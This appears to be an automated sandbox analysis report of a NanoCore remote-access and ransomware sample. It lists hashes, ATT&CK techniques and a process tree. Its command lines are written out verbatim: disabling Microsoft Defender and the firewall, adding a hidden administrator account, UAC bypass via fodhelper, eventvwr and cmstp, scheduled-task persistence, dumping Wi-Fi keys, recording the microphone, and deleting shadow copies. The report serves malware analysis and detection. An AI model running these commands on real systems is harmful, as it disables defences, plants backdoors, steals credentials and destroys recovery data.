nanocore | ac1cfcefb62dbdf0f6589bc559b03c064b1a01c7450f4e835ef262a25ae52854

Analysis

max time kernel
2s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/10/2026, 04:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mitomzao.cc_ransome.exe
Size 39KB
Sample261018-e2hg7a1x4n
SHA256 ac1cfcefb62dbdf0f6589bc559b03c064b1a01c7450f4e835ef262a25ae52854
MD5 677db4ccde76dc587ad451ab14922edd
SHA1 09025d308ca9d10e3436247362817fb41612fdd1
SHA512 a77d3c821447cb978da0b710e69d5437f979eeba23bbf70122dd86f4dea2f04235659f598b8ec6107839564fe817d4195030ecd2d683a38818da9ca3467010cf
SSDEEP 768:HEfUYnmYHTiqFmqMcgVMfIxf0HmoIf93HWdEEusXqKhCayzm:JYnPTFMdMAuHmoIf932df9XqiCW
TLSH
T1EE03E74437FD8628E1BF6BB74D7282008775F8978D23DB0D0ED1849E1A73B449A99B93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore impact keylogger persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
22401

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 33 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
15936	powershell.exe
11680	powershell.exe
13060	powershell.exe
6668	powershell.exe
7876	powershell.exe
9788	powershell.exe
14596	powershell.exe
468	powershell.exe
3160	powershell.exe
2444	powershell.exe
1212	powershell.exe
4468	powershell.exe
8968	powershell.exe
15712	powershell.exe
14832	powershell.exe
6108	powershell.exe
10408	powershell.exe
13536	powershell.exe
8596	powershell.exe
9608	powershell.exe
8768	powershell.exe
12328	powershell.exe
14100	powershell.exe
15180	powershell.exe
7260	powershell.exe
6048	powershell.exe
12712	powershell.exe
1196	powershell.exe
7320	powershell.exe
6944	powershell.exe
8224	powershell.exe
5908	powershell.exe
440	powershell.exe

Modifies Windows Firewall 2 TTPs 27 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
11280	netsh.exe
3252	netsh.exe
12164	netsh.exe
10212	netsh.exe
11452	netsh.exe
14048	netsh.exe
6328	netsh.exe
7956	netsh.exe
7872	netsh.exe
10952	netsh.exe
1576	netsh.exe
11200	netsh.exe
13556	netsh.exe
14728	netsh.exe
14152	netsh.exe
14976	netsh.exe
8768	netsh.exe
8812	netsh.exe
12836	netsh.exe
11392	netsh.exe
11196	netsh.exe
16216	netsh.exe
11340	netsh.exe
12924	netsh.exe
15852	netsh.exe
11472	netsh.exe
9884	netsh.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	mitomzao.cc_ransome.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\mitomzao.cc_ransome.exe"	mitomzao.cc_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	mitomzao.cc_ransome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 60 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
10016	powershell.exe
10272	powershell.exe
8320	powershell.exe
12212	powershell.exe
14436	powershell.exe
1932	powershell.exe
11504	powershell.exe
11548	powershell.exe
9540	powershell.exe
12832	powershell.exe
13536	powershell.exe
13996	powershell.exe
12376	powershell.exe
8512	powershell.exe
9744	powershell.exe
15584	powershell.exe
9728	powershell.exe
12084	powershell.exe
15832	powershell.exe
13836	powershell.exe
9724	powershell.exe
9736	powershell.exe
9848	powershell.exe
11980	powershell.exe
13876	powershell.exe
10876	powershell.exe
7652	powershell.exe
14100	powershell.exe
1212	powershell.exe
6048	powershell.exe
7320	powershell.exe
8224	powershell.exe
12712	powershell.exe
15712	powershell.exe
6108	powershell.exe
6668	powershell.exe
4468	powershell.exe
12328	powershell.exe
5908	powershell.exe
1196	powershell.exe
14596	powershell.exe
7260	powershell.exe
13536	powershell.exe
15180	powershell.exe
2444	powershell.exe
7876	powershell.exe
8596	powershell.exe
8968	powershell.exe
9608	powershell.exe
3160	powershell.exe
14832	powershell.exe
10408	powershell.exe
11680	powershell.exe
13060	powershell.exe
8768	powershell.exe
6944	powershell.exe
468	powershell.exe
440	powershell.exe
9788	powershell.exe
15936	powershell.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3712	net1.exe
7028	net1.exe
2764	net1.exe
7788	net.exe
11556	net1.exe
15004	net1.exe
13056	net.exe
12876	net.exe
13968	net.exe
5276	net.exe
7756	net1.exe
13152	net.exe
6248	net.exe
6628	net.exe
8112	net.exe
5456	net.exe
4536	net1.exe
10756	net.exe
11672	net1.exe
6996	net.exe
8944	net.exe
10396	net.exe
11296	net1.exe
15420	net1.exe
9000	net1.exe
12980	net1.exe
14152	net.exe
5404	net1.exe
7472	net1.exe
9204	net1.exe
2408	net1.exe
11388	net.exe
1188	net.exe
1864	net.exe
7876	net1.exe
13104	net1.exe
6172	net1.exe
9020	net.exe
1500	net.exe
7896	net.exe
14648	net1.exe
6428	net1.exe
4992	net1.exe
4476	net.exe
6772	net.exe
8048	net.exe
7340	net1.exe
4656	net1.exe
6656	net1.exe
7716	net.exe
7476	net1.exe
10664	net.exe
10556	net.exe
16120	net1.exe
9188	net.exe
9156	net1.exe
1036	net.exe
5560	net1.exe
6460	net1.exe
10572	net1.exe
15808	net.exe
14068	net1.exe
13740	net.exe
4296	net1.exe

Launches sc.exe 24 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
11892	sc.exe
14688	sc.exe
16192	sc.exe
8148	sc.exe
13440	sc.exe
11760	sc.exe
13900	sc.exe
15124	sc.exe
11708	sc.exe
10856	sc.exe
16072	sc.exe
7796	sc.exe
15648	sc.exe
13716	sc.exe
7496	sc.exe
13000	sc.exe
8268	sc.exe
12928	sc.exe
8120	sc.exe
6260	sc.exe
13052	sc.exe
14540	sc.exe
14992	sc.exe
14088	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 27 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
15100	netsh.exe
16312	netsh.exe
14172	netsh.exe
9972	netsh.exe
6812	netsh.exe
13800	netsh.exe
11196	netsh.exe
13240	netsh.exe
5096	netsh.exe
13880	netsh.exe
324	netsh.exe
13812	netsh.exe
15148	netsh.exe
2160	netsh.exe
9816	netsh.exe
9720	netsh.exe
9988	netsh.exe
11032	netsh.exe
6416	netsh.exe
13200	netsh.exe
2656	netsh.exe
12308	netsh.exe
10348	netsh.exe
11304	netsh.exe
12224	netsh.exe
13896	netsh.exe
14848	netsh.exe

Interacts with shadow copies 3 TTPs 27 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
12412	vssadmin.exe
12424	vssadmin.exe
12888	vssadmin.exe
6416	vssadmin.exe
10476	vssadmin.exe
13252	vssadmin.exe
10416	vssadmin.exe
14352	vssadmin.exe
11012	vssadmin.exe
10384	vssadmin.exe
11292	vssadmin.exe
15060	vssadmin.exe
13448	vssadmin.exe
6092	vssadmin.exe
15704	vssadmin.exe
13448	vssadmin.exe
9616	vssadmin.exe
10472	vssadmin.exe
15044	vssadmin.exe
5148	vssadmin.exe
11220	vssadmin.exe
9356	vssadmin.exe
10948	vssadmin.exe
15756	vssadmin.exe
6868	vssadmin.exe
11748	vssadmin.exe
1212	vssadmin.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open	mitomzao.cc_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\mitomzao.cc_ransome.exe"	mitomzao.cc_ransome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command\DelegateExecute	mitomzao.cc_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell\open\command	mitomzao.cc_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings	mitomzao.cc_ransome.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\ms-settings\shell	mitomzao.cc_ransome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 34 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4644	schtasks.exe
10780	schtasks.exe
10144	schtasks.exe
3916	schtasks.exe
4276	schtasks.exe
1704	schtasks.exe
3300	schtasks.exe
1136	schtasks.exe
2968	schtasks.exe
4208	schtasks.exe
15704	schtasks.exe
10316	schtasks.exe
6368	schtasks.exe
6676	schtasks.exe
7868	schtasks.exe
11988	schtasks.exe
16260	schtasks.exe
5500	schtasks.exe
4368	schtasks.exe
6368	schtasks.exe
11564	schtasks.exe
11732	schtasks.exe
6748	schtasks.exe
7784	schtasks.exe
6500	schtasks.exe
6172	schtasks.exe
4672	schtasks.exe
11464	schtasks.exe
4704	schtasks.exe
3916	schtasks.exe
8080	schtasks.exe
6512	schtasks.exe
9152	schtasks.exe
1064	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	5956	cmstp.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2932	mmc.exe
2932	mmc.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4400 wrote to memory of 5500	4400	mitomzao.cc_ransome.exe	89
PID 4400 wrote to memory of 5956	4400	mitomzao.cc_ransome.exe	91
PID 4400 wrote to memory of 3928	4400	mitomzao.cc_ransome.exe	92
PID 4400 wrote to memory of 4640	4400	mitomzao.cc_ransome.exe	94
PID 4400 wrote to memory of 468	4400	mitomzao.cc_ransome.exe	96
PID 3928 wrote to memory of 2932	3928	eventvwr.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
"C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5500
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f164865a-7575-4632-a3ed-0e32e0ff69cf.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5956
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:2932
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4640
- - C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
    3⤵
    PID:3732
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3916
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ba04d36a-1984-4c5f-b6ff-092fddb5bc06.inf
      4⤵
      PID:5148
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:3084
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:5872
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:484
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:4336
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3300
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\916f407a-838b-4880-9e64-0184361f3bbd.inf
        6⤵
        
        PID:2112
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:4948
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2088
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:2792
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4672
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\54f270ac-1334-40f2-9beb-f54f292a2393.inf
        8⤵
        
        PID:3680
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:1068
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:2880
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:6528
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6676
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8740f7ac-ce65-45df-877f-49b075296749.inf
        10⤵
        
        PID:6168
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:5428
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:6828
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        11⤵
        
        PID:7444
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7784
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d809b01a-b39e-47be-bb21-ade35cf3ee14.inf
        12⤵
        
        PID:7800
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:6372
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:1424
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:8196
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        13⤵
        
        PID:8348
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7868
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\70d7cd1b-b89f-4be4-8d34-08fd27b1b998.inf
        14⤵
        
        PID:8764
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:5832
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9256
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:9500
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        15⤵
        
        PID:11132
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9152
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\90b83db8-0642-4bb8-9c69-1a3f51b1c1ab.inf
        16⤵
        
        PID:11536
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:13700
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:13952
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:14092
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        17⤵
        
        PID:4340
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11564
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\363d4b65-6d8a-45f4-858e-bb52d936867a.inf
        18⤵
        
        PID:14708
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:14584
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:6732
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:8776
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        19⤵
        
        PID:14008
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11732
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5abb6a03-121e-4d80-80d0-25719e55840b.inf
        20⤵
        
        PID:8404
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:8800
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:9844
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:13732
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        21⤵
        
        PID:9944
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6172
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d79bfdd1-ffa3-4a90-9316-1435f4f0e6b5.inf
        22⤵
        
        PID:10568
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:8680
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:14124
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:13092
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        23⤵
        
        PID:4528
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1064
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\340db2eb-be2b-4c3c-ac89-784eac5c2f93.inf
        24⤵
        
        PID:5404
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:15344
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:15988
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:7904
        
        C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mitomzao.cc_ransome.exe"
        25⤵
        
        PID:14332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6944
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        Creates a new local user account
        
        PID:9020
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:4296
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:12088
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:14432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15936
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:13152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:15420
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:8388
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:1472
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9788
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:9188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:11296
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:12148
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:11820
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:4276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639278981062385412.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9724
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2160
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        20⤵
        Interacts with shadow copies
        
        PID:11220
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        20⤵
        
        PID:7112
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        20⤵
        
        PID:9428
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        20⤵
        Modifies Windows Firewall
        
        PID:12836
        
